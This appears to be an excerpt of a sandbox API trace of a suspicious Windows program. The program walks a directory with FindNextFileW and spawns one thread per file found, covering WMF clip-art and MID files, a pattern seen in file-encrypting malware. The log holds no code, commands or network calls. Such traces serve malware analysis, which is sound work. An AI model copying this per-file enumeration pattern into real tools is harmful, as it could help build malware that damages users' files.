	[0245.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2274
	[0245.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.205] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1
	[0245.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2278
	[0245.207] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1
	[0245.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x227c
	[0245.209] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.210] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1
	[0245.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2280
	[0245.211] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.212] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1
	[0245.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2284
	[0245.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.214] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1
	[0245.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2288
	[0245.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.216] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1
	[0245.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228c
	[0245.218] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.218] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1
	[0245.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2290
	[0245.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.221] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x72, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1
	[0245.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2294
	[0245.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.223] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x72, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1
	[0245.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2298
	[0245.225] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.225] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1
	[0245.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x229c
	[0245.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1
	[0245.228] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a0
	[0245.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.230] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1
	[0245.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a4
	[0245.355] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.356] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1
	[0245.356] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a8
	[0245.357] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.358] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1
	[0245.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ac
	[0245.360] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.360] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1
	[0245.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b0
	[0245.362] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.362] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1
	[0245.363] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b4
	[0245.364] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.365] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1
	[0245.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b8
	[0245.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.367] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1
	[0245.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22bc
	[0245.370] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.370] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1
	[0245.371] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c0
	[0245.372] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.373] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1
	[0245.373] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c4
	[0245.375] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.375] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1
	[0245.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c8
	[0245.377] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.378] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1
	[0245.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22cc
	[0245.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.381] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1
	[0245.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d0
	[0245.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.383] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1
	[0245.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d4
	[0245.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.385] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1
	[0245.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d8
	[0245.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.387] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1
	[0245.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22dc
	[0245.389] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.389] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1
	[0245.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
